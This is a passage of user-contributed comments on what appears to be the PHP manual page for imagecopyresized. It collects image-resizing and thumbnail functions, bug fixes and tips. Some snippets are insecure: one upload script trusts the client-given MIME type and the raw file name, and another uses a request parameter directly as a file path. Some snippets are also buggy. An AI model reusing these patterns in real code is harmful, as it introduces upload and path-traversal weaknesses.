      for($i = 0; $i < count($allowed_paths); $i++) {
        if ($allowed_paths[$i] == "$extension") {
          $ok = "1";
        }
      }

      if ($ok == "1") {

        if($extension == "jpg" || $extension == "jpeg" || $extension == "JPG"){
          $tmp_image=imagecreatefromjpeg($target_path);
        }

        if($extension == "png") {
          $tmp_image=imagecreatefrompng($target_path);
        }

        if($extension == "gif") {
          $tmp_image=imagecreatefromgif($target_path);
        }

        $width = imagesx($tmp_image);
        $height = imagesy($tmp_image);

        //calculate the image ratio
        $imgratio = ($width / $height);

        if ($imgratio>1) {
          $new_width = $target_width;
          $new_height = ($target_width / $imgratio);
        } else {
          $new_height = $target_height;
          $new_width = ($target_height * $imgratio);
        }

        $new_image = imagecreatetruecolor($new_width,$new_height);
        ImageCopyResized($new_image, $tmp_image,0,0,0,0, $new_width, $new_height, $width, $height);
        //Grab new image
        imagejpeg($new_image, $target_path);
        $image_buffer = ob_get_contents();
        ImageDestroy($new_image);
        ImageDestroy($tmp_image);
        echo " $file resized to $new_width x $new_height <br> \n";
        echo str_pad('',4096)."\n";
        ob_flush();
        flush();
      }
    }
  }
  closedir($handle);
  echo "Done.";
  ob_end_flush();
}
?>
david from quidware 28-Jan-2009 12:50
If the script should resize and save thumb I use this simple code, I made a couple corrections from last one and added the possibility to resize to a max HEIGHT:

<?php
/**
 * Make thumbs from JPEG, PNG, GIF source file
 *
 * $tmpname = $_FILES['source']['tmp_name'];
 * $size - max width size
 * $save_dir - destination folder
 * $save_name - tnumb new name
 * $maxisheight - is max for width (if not is for height)
 *
 * Author:  David Taubmann http://www.quidware.com (edited from LEDok - http://www.citadelavto.ru/)
 */

/*/    // And now how using this function fast:
if ($_POST[pic])
    {
    $tmpname  = $_FILES['pic']['tmp_name'];
    @img_resize( $tmpname , 600 , "../album" , "album_".$id.".jpg");
    @img_resize( $tmpname , 120 , "../album" , "album_".$id."_small.jpg");
    @img_resize( $tmpname , 60 , "../album" , "album_".$id."_maxheight.jpg", 1);
    }
    else
    echo "No Images uploaded via POST";
/**/

function img_resize( $tmpname, $size, $save_dir, $save_name, $maxisheight = 0 )
    {
    $save_dir     .= ( substr($save_dir,-1) != "/") ? "/" : "";
    $gis        = getimagesize($tmpname);
    $type        = $gis[2];
    switch($type)
        {
        case "1": $imorig = imagecreatefromgif($tmpname); break;
        case "2": $imorig = imagecreatefromjpeg($tmpname);break;
        case "3": $imorig = imagecreatefrompng($tmpname); break;
        default:  $imorig = imagecreatefromjpeg($tmpname);
        }

        $x = imagesx($imorig);
        $y = imagesy($imorig);

        $woh = (!$maxisheight)? $gis[0] : $gis[1] ;

        if($woh <= $size)
        {
        $aw = $x;
        $ah = $y;
        }
            else
        {
            if(!$maxisheight){
                $aw = $size;
                $ah = $size * $y / $x;
            } else {
                $aw = $size * $x / $y;
                $ah = $size;
            }
        }
        $im = imagecreatetruecolor($aw,$ah);
    if (imagecopyresampled($im,$imorig , 0,0,0,0,$aw,$ah,$x,$y))
        if (imagejpeg($im, $save_dir.$save_name))
            return true;
            else
            return false;
    }
?>
it at chmzap dot ru 17-Aug-2008 10:52
If the script should resize and save thumb I use this simple code:

<?php
/**
 * Make thumbs from JPEG, PNG, GIF source file
 *
 * $tmpname = $_FILES['source']['tmp_name'];
 * $size - max width size
 * $save_dir - destination folder
 * $save_name - tnumb new name
 *
 * Author:  LEDok - http://www.citadelavto.ru/
 */

function img_resize( $tmpname, $size, $save_dir, $save_name )
    {
    $save_dir .= ( substr($save_dir,-1) != "/") ? "/" : "";
        $gis       = GetImageSize($tmpname);
    $type       = $gis[2];
    switch($type)
        {
        case "1": $imorig = imagecreatefromgif($tmpname); break;
        case "2": $imorig = imagecreatefromjpeg($tmpname);break;
        case "3": $imorig = imagecreatefrompng($tmpname); break;
        default:  $imorig = imagecreatefromjpeg($tmpname);
        }

        $x = imageSX($imorig);
        $y = imageSY($imorig);
        if($gis[0] <= $size)
        {
        $av = $x;
        $ah = $y;
        }
            else
        {
            $yc = $y*1.3333333;
            $d = $x>$yc?$x:$yc;
            $c = $d>$size ? $size/$d : $size;
              $av = $x*$c;        //высота исходной картинки
              $ah = $y*$c;        //длина исходной картинки
        }
        $im = imagecreate($av, $ah);
        $im = imagecreatetruecolor($av,$ah);
    if (imagecopyresampled($im,$imorig , 0,0,0,0,$av,$ah,$x,$y))
        if (imagejpeg($im, $save_dir.$save_name))
            return true;
            else
            return false;
    }

?>

And now how using this function fast

<?php
if ($_POST[pic])
{
$tmpname  = $_FILES['pic']['tmp_name'];
@img_resize( $tmpname , 600 , "../album" , "album_".$id.".jpg");
@img_resize( $tmpname , 120 , "../album" , "album_".$id."_small.jpg");
@img_resize( $tmpname , 60 , "../album" , "album_".$id."verysmall.jpg");
}
else
echo "No Images uploaded via POST";
?>
andrvm at andrvm dot ru 14-Oct-2007 04:09
One more version of setMemoryForImage (see below)

<?php

function setMemoryForImage($filename)
{
   $imageInfo    = getimagesize($filename);
   $memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

   $memoryLimit = (int) ini_get('memory_limit')*1048576;

  if ((memory_get_usage() + $memoryNeeded) > $memoryLimit)
   {
     ini_set('memory_limit', ceil((memory_get_usage() + $memoryNeeded + $memoryLimit)/1048576).'M');
     return (true);
   }
   else return(false);
}

?>
//work's it. no problem!
nils dot clark-bernhard at human-aspects dot de 08-Jun-2007 04:52
Regarding ob at babcom dot biz's function Resize($Dir,$Image,$NewDir,$NewImage,$MaxWidth,$MaxHeight,$Quality)

Make sure to not use a quality of 9 or higher for png resizing.

PHP will output an error like:
fatal libpng error: zlib failed to initialize compressor
or
gd-png error: setjmp returns error condition
Halit Yesil mail at halityesil dot com 23-Mar-2007 08:34
This Class image resize or crop,
your copyright text write on the image and your logo marge on the image.

Full Class code => http://www.phpbuilder.com/snippet/download.php?type=snippet&id=2188
/**
     * Author         : Halit YESIL
     * www            : www.halityesil.com, www.prografik.net, www.trteknik.net
     * email        : mail@halityesil.com, halit.yesil@prografik.net, halit.yesil@trteknik.net
     * GSM            : +90.535 648 3504
     * Create Date    : 21 / 03 / 2007
     *
     *
     * Script        : Image resize and croping class.
     *                  You can Write copyright text and attach your logo write on image with this class
     *
     *
     * $obj = new pg_image($arg);
     *
     *
     * Varibles Information
     *         [0] type => (POST | FILE) => Source File Send Type _FILES OR Dir
     *         [1] file => ({if POST Array file = $_FILES['yourfile']}|{if FILE false}) => Source File filesource
     *         [2] path => ({if FILE String [ dirname/filename.extension ]}) => Source File Root Path
     *         [3] target => ({if FILE String [ dirname/filename.extension ]}) => Target File Root Path
     *         [4] width => (integer) => Target File Width
     *         [5] height => (integer) => Target File Height
     *         [6] quality => (integer 1 - 100) => Target File Quality 0-100 %
     *         [7] action => (crop | resize) => Target Action "resize" OR "crop"
     *         [8] bordersize => (integer 0-5) => Target Border Size
     *         [9] bordercolor => (color hex) => Target Border Color
     *         [10] bgcolor => (color hex) => Target Background Color
     *         [11] copytext => (String) => Copyright Content Text
     *         [12] copycolor => (color hex) => Copyright Text Color
     *         [13] copyshadow => (color hex) => Copyright Text Shadow color
     *         [14] copybgcolor => (color hex) => Copyright Background Color
     *         [15] copybgshadow => (color hex) => Copyright Background Shadow Color
     *         [16] copybordersize => (integer 0-5) => Copyright Border Size 1-3
     *         [17] copybordercolor => (color hex) => Copyright Border Color
     *      [18] copyposition => (top | topright | topleft | center | left | right | bottom | bottomright | bottomleft) => Copyright Position
     *         [19] logoposition => (top | topright | topleft | center | left | right | bottom | bottomright | bottomleft) => Logo Image Position
     *         [20] logoimage => (String [ dirname/filename.extension] Allow Extension (PNG | GIF | JPG)) => Logo Image Root Path "PNG" OR "GIF" OR "JPG"
     *
     *
     *
     *
     */

<?php

$source = ($_REQUEST['img'] != '')?$_REQUEST['img']:'braille3.jpg';
    $arg =array(     type =>'FILE',
                    file =>false,
                     path =>$source,
                     target =>'',
                     width =>150,
                     height =>50,
                     quality =>80,
                     action =>'resize',
                     bordersize =>1,
                     bordercolor =>'#00CCFF',
                     bgcolor =>'#000000',
                     copytext =>'Bodrum 1998',
                     copycolor =>'#FFFFFF',
                     //copyshadow =>'#000000',
                     //copybgcolor =>'#D0FFCC',
                     //copybgshadow =>'#656565',
                     copybordersize =>0,
                     copybordercolor =>'#FFFFFF',
                     copyposition =>'bottom',
                     logoposition =>'topleft',
                     logoimage =>'logo.png');

    //$arg = "$source,,400,300,80,resize";
    new pg_image($arg);

?>
feip at feip dot net 15-Nov-2006 04:23
This code convert images to thumbs.
How he work -
Check source image - Width and Height,
crop a maximum from original image,
resize croped to user defined size

// makeIcons_MergeCenter($src, $dst, $dstx, $dsty);

<?php

function makeIcons_MergeCenter($src, $dst, $dstx, $dsty){

//$src = original image location
//$dst = destination image location
//$dstx = user defined width of image
//$dsty = user defined height of image

$allowedExtensions = 'jpg jpeg gif png';

$name = explode(".", $src);
$currentExtensions = $name[count($name)-1];
$extensions = explode(" ", $allowedExtensions);

for($i=0; count($extensions)>$i; $i=$i+1){
if($extensions[$i]==$currentExtensions)
{ $extensionOK=1;
$fileExtension=$extensions[$i];
break; }
}

if($extensionOK){

$size = getImageSize($src);
$width = $size[0];
$height = $size[1];

if($width >= $dstx AND $height >= $dsty){

$proportion_X = $width / $dstx;
$proportion_Y = $height / $dsty;

if($proportion_X > $proportion_Y ){
$proportion = $proportion_Y;
}else{
$proportion = $proportion_X ;
}
$target['width'] = $dstx * $proportion;
$target['height'] = $dsty * $proportion;

$original['diagonal_center'] =
round(sqrt(($width*$width)+($height*$height))/2);
$target['diagonal_center'] =
round(sqrt(($target['width']*$target['width'])+
($target['height']*$target['height']))/2);

$crop = round($original['diagonal_center'] - $target['diagonal_center']);

if($proportion_X < $proportion_Y ){
$target['x'] = 0;
$target['y'] = round((($height/2)*$crop)/$target['diagonal_center']);
}else{
$target['x'] =  round((($width/2)*$crop)/$target['diagonal_center']);
$target['y'] = 0;
}

if($fileExtension == "jpg" OR $fileExtension=='jpeg'){
$from = ImageCreateFromJpeg($src);
}elseif ($fileExtension == "gif"){
$from = ImageCreateFromGIF($src);
}elseif ($fileExtension == 'png'){
 $from = imageCreateFromPNG($src);
}

$new = ImageCreateTrueColor ($dstx,$dsty);

imagecopyresampled ($new,  $from,  0, 0, $target['x'],
$target['y'], $dstx, $dsty, $target['width'], $target['height']);

 if($fileExtension == "jpg" OR $fileExtension == 'jpeg'){
imagejpeg($new, $dst, 70);
}elseif ($fileExtension == "gif"){
imagegif($new, $dst);
}elseif ($fileExtension == 'png'){
imagepng($new, $dst);
}
}
}
}

?>
kyle dot florence at gmail dot com 15-Sep-2006 06:38
The function below will resize an image based on max width and height, then it will create a thumbnail image from the center of the resized image of a width and height specified.  This function will not resize the image to max_w pixels by max_h pixels, those are only the max width's and heights the image can be, it resizes the image to the first 1:1 ratio below max_w and max_h.

For example, if you have an image that is 800x600 and you specify your new image to be 400x200, it will resize based on the smallest number (in this case 200) and maintain the images 1:1 ratio.  So your final image would end up at something like 262x200.

UPDATE:  I have updated this function, I added the 'newdir' option in case you want the images saved in a different directory than the script.  I also fixed the thumbnail slice so it is perfectly in the center now and fixed the bug that 'ob at babcom dot biz' mentioned so you can safely resize based on width or height now.

<?
/**********************************************************
 * function resizejpeg:
 *
 *  = creates a resized image based on the max width
 *    specified as well as generates a thumbnail from
 *    a rectangle cut from the middle of the image.
 *
 *    @dir    = directory image is stored in
 *    @newdir = directory new image will be stored in
 *    @img    = the image name
 *    @max_w  = the max width of the resized image
 *    @max_h  = the max height of the resized image
 *    @th_w   = the width of the thumbnail
 *    @th_h   = the height of the thumbnail
 *
 **********************************************************/

function resizejpeg($dir, $newdir, $img, $max_w, $max_h, $th_w, $th_h)
{
    // set destination directory
    if (!$newdir) $newdir = $dir;

    // get original images width and height
    list($or_w, $or_h, $or_t) = getimagesize($dir.$img);

    // make sure image is a jpeg
    if ($or_t == 2) {

        // obtain the image's ratio
        $ratio = ($or_h / $or_w);

        // original image
        $or_image = imagecreatefromjpeg($dir.$img);

        // resize image?
        if ($or_w > $max_w || $or_h > $max_h) {

            // resize by height, then width (height dominant)
            if ($max_h < $max_w) {
                $rs_h = $max_h;
                $rs_w = $rs_h / $ratio;
            }
            // resize by width, then height (width dominant)
            else {
                $rs_w = $max_w;
                $rs_h = $ratio * $rs_w;
            }

            // copy old image to new image
            $rs_image = imagecreatetruecolor($rs_w, $rs_h);
            imagecopyresampled($rs_image, $or_image, 0, 0, 0, 0, $rs_w, $rs_h, $or_w, $or_h);
        }
        // image requires no resizing
        else {
            $rs_w = $or_w;
            $rs_h = $or_h;

            $rs_image = $or_image;
        }

        // generate resized image
        imagejpeg($rs_image, $newdir.$img, 100);

        $th_image = imagecreatetruecolor($th_w, $th_h);

        // cut out a rectangle from the resized image and store in thumbnail
        $new_w = (($rs_w / 2) - ($th_w / 2));
        $new_h = (($rs_h / 2) - ($th_h / 2));

        imagecopyresized($th_image, $rs_image, 0, 0, $new_w, $new_h, $rs_w, $rs_h, $rs_w, $rs_h);

        // generate thumbnail
        imagejpeg($th_image, $newdir.'thumb_'.$img, 100);

        return true;
    }

    // Image type was not jpeg!
    else {
        return false;
    }
}
?>

Example:

<?php
$dir = './';
$img = 'test.jpg';

resizejpeg($dir, '', $img, 600, 400, 300, 150);
?>

The example would resize the image 'test.jpg' into something 600x400 or less (retains the 1:1 ratio of the image) and creates the file 'thumb_test.jpg' at 300x150.
nworld3d at yahoo dot com 23-Aug-2006 05:06
Belows is the code snipet that allows you to resize a transparent PNG and composite it into another image.  The code is tested to work with PHP5.1.2, GD2, but I think it can also work with other versions of PHP and GD.

The code has been commented to help you read through it.  The idea of resizing the transparent PNG image is to create a new destination image which is completely transparent then turn off the imageAlphaBlending of this new image so that when the PNG source file is copied, its alpha channel is still retained.

<?php
/**
 * Compose a PNG file over a src file.
 * If new width/ height are defined, then resize the PNG (and keep all the transparency info)
 * Author:  Alex Le - http://www.alexle.net
 */
function imageComposeAlpha( &$src, &$ovr, $ovr_x, $ovr_y, $ovr_w = false, $ovr_h = false)
{
    if( $ovr_w && $ovr_h )
        $ovr = imageResizeAlpha( $ovr, $ovr_w, $ovr_h );

    /* Noew compose the 2 images */
    imagecopy($src, $ovr, $ovr_x, $ovr_y, 0, 0, imagesx($ovr), imagesy($ovr) );
}

/**
 * Resize a PNG file with transparency to given dimensions
 * and still retain the alpha channel information
 * Author:  Alex Le - http://www.alexle.net
 */
function imageResizeAlpha(&$src, $w, $h)
{
        /* create a new image with the new width and height */
        $temp = imagecreatetruecolor($w, $h);

        /* making the new image transparent */
        $background = imagecolorallocate($temp, 0, 0, 0);
        ImageColorTransparent($temp, $background); // make the new temp image all transparent
        imagealphablending($temp, false); // turn off the alpha blending to keep the alpha channel

        /* Resize the PNG file */
        /* use imagecopyresized to gain some performance but loose some quality */
        imagecopyresized($temp, $src, 0, 0, 0, 0, $w, $h, imagesx($src), imagesy($src));
        /* use imagecopyresampled if you concern more about the quality */
        //imagecopyresampled($temp, $src, 0, 0, 0, 0, $w, $h, imagesx($src), imagesy($src));
        return $temp;
}
?>
Example usage:

<?php
header('Content-type: image/png');

/* Open the photo and the overlay image */
$photoImage = ImageCreateFromJPEG('images/MiuMiu.jpg');
$overlay = ImageCreateFromPNG('images/hair-trans.png');

$percent = 0.8;
$newW = ceil(imagesx($overlay) * $percent);
$newH = ceil(imagesy($overlay) * $percent);

/* Compose the overlay photo over the target image */
imageComposeAlpha( $photoImage, $overlay, 86, 15, $newW, $newH );

/* Open another PNG file, then resize and compose it */
$watermark = imagecreatefrompng('images/watermark.png');
imageComposeAlpha( $photoImage, $watermark, 10, 20, imagesx($watermark)/2, imagesy($watermark)/2 );

/**
 * Open the same PNG file then compose without resizing
 * As the original $watermark is passed by reference, it was resized already.
 * So we have to reopen it.
 */
$watermark = imagecreatefrompng('images/watermark.png');
imageComposeAlpha( $photoImage, $watermark, 80, 350);
Imagepng($photoImage); // output to browser

ImageDestroy($photoImage);
ImageDestroy($overlay);
ImageDestroy($watermark);
?>
ob at babcom dot biz 21-Aug-2006 04:32
Regarding the note and function of kyle.florence on August 3rd 2006:

I tried to use his function resizejpeg() for resizing images in my gallery. As far as I can tell it contains a small bug.

Resizing worked fine as long as I had the same maximum width and maximum height specified. Wanting all thumbnails to have the same height - so my images would appear in a straight line on my website both in portrait format and in landscape format - I soon encountered the problem that resizing with different values of maximum width and maximum height would not work proberly.

If you are using the script change the following 2 lines where the resized width and the resized height are calculated:

<?php
$rs_h = $ratio * $max_h;
?>
should be:
<?php
$rs_h = $ratio * $rs_w;
?>

and:
<?php
$rs_w = $max_w / $ratio;
?>
should be:
<?php
$rs_w = $rs_h / $ratio;
?>

The following function is based on Kyle Florence's function. I left out the thumbnail-part and rather added the possibiliy of defining a new dir and new filename for the image. If you need to resize and then create a thumbnail just run the function twice. Here, the thumbnail will contain the full picture and not a cutout of the original image.

The function supports JPG, GIF and PNG resizing. The quality in case of JPG is given to the function as the last parameter $Quality.

The variable names should speak for their usage.

<?php
function Resize($Dir,$Image,$NewDir,$NewImage,$MaxWidth,$MaxHeight,$Quality) {
  list($ImageWidth,$ImageHeight,$TypeCode)=getimagesize($Dir.$Image);
  $ImageType=($TypeCode==1?"gif":($TypeCode==2?"jpeg":
             ($TypeCode==3?"png":FALSE)));
  $CreateFunction="imagecreatefrom".$ImageType;
  $OutputFunction="image".$ImageType;
  if ($ImageType) {
    $Ratio=($ImageHeight/$ImageWidth);
    $ImageSource=$CreateFunction($Dir.$Image);
    if ($ImageWidth > $MaxWidth || $ImageHeight > $MaxHeight) {
      if ($ImageWidth > $MaxWidth) {
         $ResizedWidth=$MaxWidth;
         $ResizedHeight=$ResizedWidth*$Ratio;
      }
      else {
        $ResizedWidth=$ImageWidth;
        $ResizedHeight=$ImageHeight;
      }
      if ($ResizedHeight > $MaxHeight) {
        $ResizedHeight=$MaxHeight;
        $ResizedWidth=$ResizedHeight/$Ratio;
      }
      $ResizedImage=imagecreatetruecolor($ResizedWidth,$ResizedHeight);
      imagecopyresampled($ResizedImage,$ImageSource,0,0,0,0,$ResizedWidth,
                         $ResizedHeight,$ImageWidth,$ImageHeight);
    }
    else {
      $ResizedWidth=$ImageWidth;
      $ResizedHeight=$ImageHeight;
      $ResizedImage=$ImageSource;
    }
    $OutputFunction($ResizedImage,$NewDir.$NewImage,$Quality);
    return true;
  }
  else
    return false;
}
?>

Before calling the function support for JPG, PNG or GIF should be checked.
hodgman at ali dot com dot au 08-Aug-2006 04:37
Users of this function should be aware that this function can return false in certain circumstances! I am assuming this is an indicator of failure.

None of the example code displayed in these notes takes this into account, so all of these examples contain weaknesses that could crash a program if not used with care.

However, it is not documented what kinds situations will cause it to fail, and what side effects (if it is not atomic) occur if the operation fails, so we will have to wait for the documentation to be updated before this function can be used in rock-solid (crash-proof) code.

[[I posted this information earlier, but I phrased it as a question so it was removed by the editors]]
kyle(dot)florence(_[at]_)gmail(dot)com 03-Aug-2006 06:43
The function below will resize an image based on max width and height, then it will create a thumbnail image from the center of the resized image of a width and height specified.

<?php
/**********************************************************
 * function resizejpeg:
 *
 *  = creates a resized image based on the max width
 *    specified as well as generates a thumbnail from
 *    a rectangle cut from the middle of the image.
 *
 *    @dir   = directory image is stored in
 *    @img   = the image name
 *    @max_w = the max width of the resized image
 *    @max_h = the max height of the resized image
 *    @th_w  = the width of the thumbnail
 *    @th_h  = the height of the thumbnail
 *
 **********************************************************/

function resizejpeg($dir, $img, $max_w, $max_h, $th_w, $th_h)
{
    // get original images width and height
    list($or_w, $or_h, $or_t) = getimagesize($dir.$img);

    // make sure image is a jpeg
    if ($or_t == 2) {

        // obtain the image's ratio
        $ratio = ($or_h / $or_w);

        // original image
        $or_image = imagecreatefromjpeg($dir.$img);

        // resize image
        if ($or_w > $max_w || $or_h > $max_h) {

            // first resize by width (less than $max_w)
            if ($or_w > $max_w) {
                $rs_w = $max_w;
                $rs_h = $ratio * $max_h;
            } else {
                $rs_w = $or_w;
                $rs_h = $or_h;
            }

            // then resize by height (less than $max_h)
            if ($rs_h > $max_h) {
                $rs_w = $max_w / $ratio;
                $rs_h = $max_h;
            }

            // copy old image to new image
            $rs_image = imagecreatetruecolor($rs_w, $rs_h);
            imagecopyresampled($rs_image, $or_image, 0, 0, 0, 0, $rs_w, $rs_h, $or_w, $or_h);
        } else {
            $rs_w = $or_w;
            $rs_h = $or_h;

            $rs_image = $or_image;
        }

        // generate resized image
        imagejpeg($rs_image, $dir.$img, 100);

        $th_image = imagecreatetruecolor($th_w, $th_h);

        // cut out a rectangle from the resized image and store in thumbnail
        $new_w = (($rs_w / 4));
        $new_h = (($rs_h / 4));

        imagecopyresized($th_image, $rs_image, 0, 0, $new_w, $new_h, $rs_w, $rs_h, $rs_w, $rs_h);

        // generate thumbnail
        imagejpeg($th_image, $dir.'thumb_'.$img, 100);

        return true;
    }

    // Image type was not jpeg!
    else {
        return false;
    }
}
?>

Example:

<?php
$dir = './';
$img = 'test.jpg';

resizejpeg($dir, $img, 600, 600, 300, 150);
?>

The example would resize the image 'test.jpg' into something 600x600 or less (1:1 ratio) and create the file 'thumb_test.jpg' at 300x150.
06madsenl at westseneca dot wnyric dot org 21-Apr-2006 06:05
I was fiddling with this a few days trying to figure out how to resize the original images on my website, but this site:

http://www.sitepoint.com/article/image-resizing-php

Has a great tutorial on using PHP to resize images without creating thumbnails.  It was exactly what I was looking to do.
konteineris at yahoo dot com 15-Feb-2006 06:42
Function creates a thumbnail from the source image, resizes it so that it fits the desired thumb width and height or fills it grabbing maximum image part and resizing it, and lastly writes it to destination

<?

function thumb($filename, $destination, $th_width, $th_height, $forcefill)
{
   list($width, $height) = getimagesize($filename);

   $source = imagecreatefromjpeg($filename);

   if($width > $th_width || $height > $th_height){
      $a = $th_width/$th_height;
      $b = $width/$height;

      if(($a > $b)^$forcefill)
      {
         $src_rect_width  = $a * $height;
         $src_rect_height = $height;
         if(!$forcefill)
         {
            $src_rect_width = $width;
            $th_width = $th_height/$height*$width;
         }
      }
      else
      {
         $src_rect_height = $width/$a;
         $src_rect_width  = $width;
         if(!$forcefill)
         {
            $src_rect_height = $height;
            $th_height = $th_width/$width*$height;
         }
      }

      $src_rect_xoffset = ($width - $src_rect_width)/2*intval($forcefill);
      $src_rect_yoffset = ($height - $src_rect_height)/2*intval($forcefill);

      $thumb  = imagecreatetruecolor($th_width, $th_height);
      imagecopyresized($thumb, $source, 0, 0, $src_rect_xoffset, $src_rect_yoffset, $th_width, $th_height, $src_rect_width, $src_rect_height);

      imagejpeg($thumb,$destination);
   }
}

?>
jesse at method studios 04-Oct-2005 12:07
imagecopyresized() does not do any resampling.  This makes it extremely quick.  If quality is an issue, use imagecopyresampled().
MaLaZ 11-Aug-2005 07:24
simple script for creating thumbnails with process information and saving original ratio thumbnail to new destination...good then useing with upload or uploaded images:

<?php

//Upload------------------------------------
if(isset( $submit ))
{
if ($_FILES['imagefile']['type'] == "image/jpeg"){
    copy ($_FILES['imagefile']['tmp_name'], "../images/".$_FILES['imagefile']['name'])
    or die ("Could not copy");
        echo "";
        echo "Image Name: ".$_FILES['imagefile']['name']."";
        echo "<br>Image Size: ".$_FILES['imagefile']['size']."";
        echo "<br>Image Type: ".$_FILES['imagefile']['type']."";
        echo "<br>Image Copy Done....<br>";
        }
         else {
            echo "<br><br>";
            echo "bad file type (".$_FILES['imagefile']['name'].")<br>";exit;
              }
//-----upload end

//------start thumbnailer

    $thumbsize=120;
    echo "Thumbnail Info: <br>
         1.Thumb defined size: - OK: $thumbsize<br>";
    $imgfile = "../images/$imagefile_name";//processed image
    echo "
         2.Image destination: - OK: $imgfile<br>";
    header('Content-type: image/jpeg');
    list($width, $height) = getimagesize($imgfile);
    echo "3.Image size - OK: W=$width x H=$height<br>";
    $imgratio=$width/$height;
    echo "3.Image ratio - OK: $imgratio<br>";
    if ($imgratio>1){
      $newwidth = $thumbsize;
      $newheight = $thumbsize/$imgratio;}
    else{
      $newheight = $thumbsize;
      $newwidth = $thumbsize*$imgratio;}
    echo "4.Thumb new size -OK: W=$newwidth x H=$newheight<br>";
    $thumb = ImageCreateTrueColor($newwidth,$newheight);
    echo "5.TrueColor - OK<br>";
    $source = imagecreatefromjpeg($imgfile);
    echo "6.From JPG - OK<br>";
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    imagejpeg($thumb,"../images/thumbs/thumb_$imagefile_name",100);echo "7.Done... - OK<br>";
//-----------end--------------
?>

or without any info, just resizing:

<?php
//------start thumbnailer
   $thumbsize=120;
   $imgfile = "../images/$imagefile_name";
   header('Content-type: image/jpeg');
   list($width, $height) = getimagesize($imgfile);
   $imgratio=$width/$height;
   if ($imgratio>1){
     $newwidth = $thumbsize;
     $newheight = $thumbsize/$imgratio;}
   else{
     $newheight = $thumbsize;
     $newwidth = $thumbsize*$imgratio;}
   $thumb = ImageCreateTrueColor($newwidth,$newheight);
   $source = imagecreatefromjpeg($imgfile);
   imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
imagejpeg($thumb,"../images/thumbs/thumb_$imagefile_name",100);
//-----------end--------------
?>

i hope it helps.
FearINC at gmail dot com 10-Aug-2005 10:35
I wrote a function not long ago that creates a thumbnail out of a large picture. Unlike other notes on this page, the code is a function so it can be used many times on the same script. The function allows the programer to set max height and width and resizes the picture proportionally.
<?php
function saveThumbnail($saveToDir, $imagePath, $imageName, $max_x, $max_y) {
    preg_match("'^(.*)\.(gif|jpe?g|png)$'i", $imageName, $ext);
    switch (strtolower($ext[2])) {
        case 'jpg' :
        case 'jpeg': $im   = imagecreatefromjpeg ($imagePath);
                     break;
        case 'gif' : $im   = imagecreatefromgif  ($imagePath);
                     break;
        case 'png' : $im   = imagecreatefrompng  ($imagePath);
                     break;
        default    : $stop = true;
                     break;
    }

    if (!isset($stop)) {
        $x = imagesx($im);
        $y = imagesy($im);

        if (($max_x/$max_y) < ($x/$y)) {
            $save = imagecreatetruecolor($x/($x/$max_x), $y/($x/$max_x));
        }
        else {
            $save = imagecreatetruecolor($x/($y/$max_y), $y/($y/$max_y));
        }
        imagecopyresized($save, $im, 0, 0, 0, 0, imagesx($save), imagesy($save), $x, $y);

        imagegif($save, "{$saveToDir}{$ext[1]}.gif");
        imagedestroy($im);
        imagedestroy($save);
    }
}
?>

the function for now takes only jpg,gif and png files, but that can easily be changed.
It's an easy to use easy to understand function and I hope it will come useful to someone.
mecdesign at hotmail dot com 07-Aug-2005 02:51
This code will resize your images if your image needs to fit (without stretching) into a max height / width destination image that is not a 1:1 ratio (mine was 4:3).

<?
   // Ratios
   $image_ratio = $width / $height; // Actual image's ratio
   $destination_ratio = $max_width / $max_height; // Ratio of dest. placeholder

    // Taller
    if($image_ratio < $destination_ratio)
    {
        //Too tall:
        if($height > $max_height)
        {
            $height = $max_height;
            $width = ceil($height / $image_ratio);
        }
    }
    // Wider / balanced & too wide:
    else if ($width > $max_width)
    {
        $width = $max_width;
        $height = ceil($width / $image_ratio);
    }
?>
brian <dot> tyler <at> gmail <dot> com 12-Jun-2005 03:53
I spent last night getting unsuccessful results from this function until I found this note of fluffle <<at>> gmail on the imagecopyresampled page, I have made a slight modification, so you can just cut and paste.

Just to clarify that src_w and src_h do not necessarily need to be the source image width and height, as they specify the size of the rectangle cropped from the source picture, with its top left corner situated at (src_x, src_y).

For example, the code below crops a jpeg image to be square, with the square situated in the centre of the original image, and then resizes it to a 100x100 thumbnail.

function ($image_filename, $thumb_location, $image_thumb_size){
//@$image_filename - the filename of the image you want
//to get a thumbnail for (relative to location of this
//function).
//@$thumb_location - the url (relative to location of this
//function) to save the thumbnail.
//@$image_thumb_size - the x-y dimension of your thumb
//in pixels.

   list($ow, $oh) = getimagesize($image_filename);
   $image_original = imagecreatefromjpeg($image_filename);
   $image_thumb = imagecreatetruecolor($image_thumb_size,$image_thumb_size);
if ($ow > $oh) {
   $off_w = ($ow-$oh)/2;
   $off_h = 0;
   $ow = $oh;
} elseif ($oh > $ow) {
   $off_w = 0;
   $off_h = ($oh-$ow)/2;
   $oh = $ow;
} else {
   $off_w = 0;
   $off_h = 0;
}
imagecopyresampled($image_thumb, $image_original, 0, 0, $off_w, $off_h, 100, 100, $ow, $oh);

imagejpeg($image_thumb, $thumb_location);
}//end function
no at name dot com 18-May-2005 04:45
I was searching for script, that do not resize on the fly, but copy resized file to other place, so after long searches, i've done this function. I hope it will be usefull for someone:
(This is not original code, i'v taked it from somwhere and edited a ltl :)
<?php
function resize($cur_dir, $cur_file, $newwidth, $output_dir)
{
    $dir_name = $cur_dir;
    $olddir = getcwd();
    $dir = opendir($dir_name);
    $filename = $cur_file;
    $format='';
    if(preg_match("/.jpg/i", "$filename"))
    {
        $format = 'image/jpeg';
    }
    if (preg_match("/.gif/i", "$filename"))
    {
        $format = 'image/gif';
    }
    if(preg_match("/.png/i", "$filename"))
    {
        $format = 'image/png';
    }
    if($format!='')
    {
        list($width, $height) = getimagesize($filename);
        $newheight=$height*$newwidth/$width;
        switch($format)
        {
            case 'image/jpeg':
            $source = imagecreatefromjpeg($filename);
            break;
            case 'image/gif';
            $source = imagecreatefromgif($filename);
            break;
            case 'image/png':
            $source = imagecreatefrompng($filename);
            break;
        }
        $thumb = imagecreatetruecolor($newwidth,$newheight);
        imagealphablending($thumb, false);
        $source = @imagecreatefromjpeg("$filename");
        imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
        $filename="$output_dir/$filename";
        @imagejpeg($thumb, $filename);
    }
}
?>
call this function using
<?
resize("./input folder", "picture_file_name", "width", "./output folder");
?>
del at kartoon dot net 05-May-2005 01:37
